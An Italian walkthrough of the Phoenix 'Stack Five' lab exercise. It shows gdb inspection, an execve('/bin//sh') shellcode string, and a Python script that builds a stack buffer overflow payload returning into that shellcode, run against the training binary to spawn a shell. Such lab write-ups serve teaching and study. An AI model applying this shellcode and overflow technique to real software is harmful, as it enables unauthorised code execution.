# [Stack Five](https://exploit.education/phoenix/stack-five/) _Even harder...!_ Usiamo `gdb` per ispezionare l'eseguibile bersaglio, creando un ambiente di esecuzione costante: ``` $ gdb (gdb) unset env LINES (gdb) unset env COLUMNS (gdb) unset env _ ``` Impostiamo ancora un breakpoint in `start_level` e avanziamo fino alla chiamata di `gets`: ``` (gdb) break start_level (gdb) run (gdb) disassemble start_level (gdb) step ... ``` Annotiamo i valori dei registri `rbp` e `rsp`: ``` (gdb) x $rbp 0x7fffffffe690 (gdb) x $rsp 0x7fffffffe610 ``` Troviamo uno shellcode che effettui `execve("/bin//sh")` (doppia barra in modo che sia allineato a 8 bytes, allineando automaticamente lo stack a 16-bytes): ``` 1\xf6VH\xbb/bin//shST_\xf7\xee\xb0;\x0f\x05 ``` Aiutandoci con `python`, costruiamo il payload: ```python import struct rbp = 0x7fffffffe690 rsp = 0x7fffffffe610 shellcode = b"1\xf6VH\xbb/bin//shST_\xf7\xee\xb0;\x0f\x05" total_length = rbp - rsp padding_length = total_length - len(shellcode) payload = # Mettiamo lo shellcode per primo, in modo che non venga sovrascritto dallo stack shellcode + # Mettiamo il padding... padding + # Facciamo in modo che l'rbp non cambi dopo il ritorno della funzione struct.pack("@Q", rbp) + # @ per l'endianness nativa, Q per indirizzi 64 bit # Facciamo in modo che l'rip cambi a quello dell'inizio dello shellcode dopo il ritorno della funzione struct.pack("@Q", rsp) # Lo shellcode si trova alla cima dello stack! with open("file", "wb") as file: file.write(payload) ``` Proviamo a eseguire in `gdb`: ``` (gdb) run < file ... process 5984 is executing new program: /bin/dash ``` Funziona! Ricreiamolo in una shell normale. Prepariamo l'ambiente: ``` $ sh $ unset _ ``` Avviamo il payload: ``` $ cat file | /opt/phoenix/amd64/stack-five ``` Così ***non va***, perchè standard input è chiuso e la shell si chiude subito. Se invece vogliamo mantenere lo standard input aperto, facciamo: ```sh $ cat file - | /opt/phoenix/amd64/stack-five ``` E l'exploit funziona!